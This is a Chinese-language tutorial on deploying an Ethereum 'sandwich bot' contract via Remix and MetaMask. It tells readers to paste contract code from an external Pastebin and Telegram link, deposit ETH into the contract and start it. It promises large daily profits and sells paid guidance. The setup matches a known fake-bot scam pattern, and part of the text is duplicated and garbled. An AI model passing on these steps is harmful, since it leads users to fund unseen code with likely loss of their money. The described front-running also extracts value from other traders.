浅谈ETH以太坊夹子机器人合约部署

1,209 阅读7分钟

前言

本文以ETH链为举例进行编写图文教程,BSC/ARB/BASE/OP等所有使用EVM技术的区块链夹子部署均可参考。

TG频道:t.me/Uniswap_bot…

电报有详细图文教程可供下载。

一、原理

在 UniSwap 中,夹子机器人工作原理 :在检测到链上有用户A大单买进正在pending等待时,立马提高gas费抢在大单之前买入成功,由于用户A设置了滑点,即便这笔交易还在等待,但池子中的代币价格已经提高,所以机器人在这笔交易还在等待并且代币价格已经提高的情况下,它已经有了低成本的代币,它再立刻用较高的gas费发起卖出交易,正好就被这笔交易给买入,机器人就是通过这种夹子行为赚取差价,积少成多,当碰到牛市,一个初始本金100个eth的夹子机器人一天的利润至少几万美金,主要还是看夹子的初始本金,本金越多就赚的越多。

拿shib举例,用户A正在通过1个eth购买100个shib,在A点击钱包签名确认后,会付出较为正常的gas费给矿工进行打包交易,也就是pending状态,但是夹子机器人通过实时扫描功能监控到了用户A的交易请求,就立刻采取了更高的gas费也发起1ETH的购买行为,那么矿工则会将更高的gas费的交易优先打包,此时夹子机器人已经成功交易,而用户A却还等在链上,由于用户A的滑点一般设置在0.5 5shib,在A点击钱包签名确认后,会付出较为正常的gas费给矿工进行打包交易,也就是pending状态,但是夹子机器人通过实时扫描功能监控到了用户A的交易请求,就立刻采取了更高的gas费也发起1个ETH的购买行为,那么矿工则会将更高的gas费的交易优先打包,此时夹子机器人已经成功交易,而用户A却还等在链上,由于用户A的滑点一般设置在0.5~5%之间,此时又因为夹子的购买行为导致了shib价格的上涨,本来他1个eth能购买100个shib,但是由于夹子的优先交易导致的价格上涨,所以他最终就只能买到90个shib,而夹子机器人就赚了10个shib的差价,所以只要用户A交易的ETH金额越大,夹子赚取的差价越多。

大型夹子一般都是投资机构操作,50-1000个ETH的初始资金不等,甚至还有上万个ETH的夹子。夹子还是有很大的风险,有可能买到的代币砸手上,所谓风浪越大鱼越贵,风险越大收益越高。

散户部署的夹子一般拿几个eth作为初始本金随便玩玩即可,还是那句话:炒币有风险,投资需谨慎。

我们开发人员所开发的夹子机器人,正是利用了这一原理,采用全自动合约部署机器人,自动量化交易,可随时启停机器人。

二、工具

  1. 以太坊合约部署工具(Remix IDE): remix.ethereum.org ,认准官方唯一编译器网址,也可以自行谷歌搜索:remix ide,第一个网址就是真的。
  2. 必须使用谷歌浏览器:www.google.com/intl/zh-CN/…
  3. 必须使用小狐狸谷歌插件钱包:chromewebstore.google.com/

打开谷歌商店后搜索:metamask,认准蓝勾图标!

提前安装好谷歌浏览器和小狐狸并准备好初始本金和gas费,建议合起来1.2个以上,1个eth做本金,0.2做矿工费,嫌少的老板也可以1个以上,投资越高收益越多。

三、步骤

1.谷歌浏览器打开编译器网址( remix.ethereum.org),第一次打开要点击accept接受和选择用途,按照图中所示点击即可。

2.将语言调整为中文,颜色根据个人喜好可以调整为白色(light),点击左下角设置按钮,往下滚动鼠标,找到主题调整自己喜欢的颜色、将语言调整为中文:

2.点击左边工具条文件浏览器,再点击新建按钮,输入英文文件名:uniswapbot.sol,注意全部用小写,输入完文件名称后,敲击回车键,就出现了一个新的文件。

3.鼠标单击uniswapbot.sol文件,在右边空白处输入合约代码,将ChatGPT 和人工共同编写好的夹子合约代码复制后粘贴到空白处。

合约代码下载:pastebin.com/raw/yqd5DEr…

代码备用下载地址:t.me/Uniswap_bot…

(备注:代码免费提供,需要单独指导请电报频道联系,社区成员都是无工资做事,精力有限,单独指导收取100U,请见谅!)

4.弹出提示框不用管,点击:OK

5.此时我们检查代码头部标识,发现代码版本要求为:^0.6.6

6.点击工具条编译按钮,选择编译器版本为:0.6.6

7.再点击编译:uniswapbot.sol,出现绿色标志代表编译完成:

8.点击工具条部署按钮。

选择环境为小狐狸钱包(injected provider -Metamask):

输入密码登录小狐狸

登录完成后,会发现编译器展示的账户地址余额可能为0,是因为网络原因导致,先不管,待会进行合约交互后余额就出来了。

点击黄色部署按钮:

部署合约需要少量gas费,钱包点击确认:

点击确认后不要刷新页面更不要关闭浏览器,出现图中所示日志输出即代表部署成功,如果失败,尝试再次点击部署并提高gas费。

9.部署成功后,会发现左边出现了成功部署之后的合约控制台,点击那个小箭头,即可看到5个按钮:

start:启动机器人

stop:停止机器人

withdrawal:取回存款

另外2个按钮是调试工具,其中owner代表返回合约创建者信息,点击后会展示你刚刚部署合约的钱包地址。

点击owner后展示创建者钱包地址

10.确认owner无误后,将初始本金注入合约地址。

点击复制合约按钮,打开小狐狸钱包,将初始本金从创建者钱包发送到夹子合约中:

本文举例发送1个eth:

发送完成后,将夹子合约前往以太坊区块链浏览器查询余额:

Ethereum (ETH) Blockchain Explorer

Etherscan allows you to explore and search the Ethereum blockchain for transactions, addresses, tokens, prices and…

etherscan.io

输入合约地址,点击查询:

发现初始资金已经注入夹子:

10.开始启动夹子机器人。

回到编译器,正常情况下编译器也会同步展示夹子合约余额,找到左边,点击:start

小狐狸中点击确认,开始启动夹子,若无法启动,尝试再次点击start并提高gas费。

点击启动后,控制台输出pending消息,证明夹子已经开始在链上扫描了。

11.此时夹子已经成功启动,等待几个小时或者1天,再次前往区块链查看夹子余额。

此处省略1万字…

等待了大概12个小时,发现夹子已经有1.237个eth了:

夹子的交易记录不在Transcaction,要去internal交易查询夹子记录,链上牛市的时候,会发现每分每秒夹子都再操作,甚至夹子还能夹夹子,每一笔的利润都是0.00几个eth,积少成多。

12.最后一步,如果觉得夹子的利润差不多了,便可点击停止后在取回资金,回到remix编译器,点击stop,再点击withdrawal即可,夹子中所有的资金将回到合约创建者钱包。

点击stop后,小狐狸钱包需要点击确认才能停止

点击取款withdrawal按钮,夹子中所有资金便提回创建者钱包。

依旧要点击小狐狸确认,才能取回资金,过会去钱包查余额即可

下面这个是网络断开或电脑不小心关机后,重新加载合约的地方,输入合约地址,点击AT ADDRESS即可加载5个按钮的控制台,所以夹子启动后,关机睡觉上班都无妨,让夹子自动给你赚钱。

以太坊每一步交互都需要钱包确认付出gas费,这是以太坊区块链的法律,所以请各位操作的时候准备好适量gas费。

还有很多细节,教程不能一一举例,例如网络断了、浏览器不小心关了、找不到合约控制台了等等问题,可以前往电报频道寻找专业指导。

获取更多机器人夹子代码、更多信息、更多细节,请电报联系!

TG交流t.me/Uniswap_bot… 不迷路,请留存频道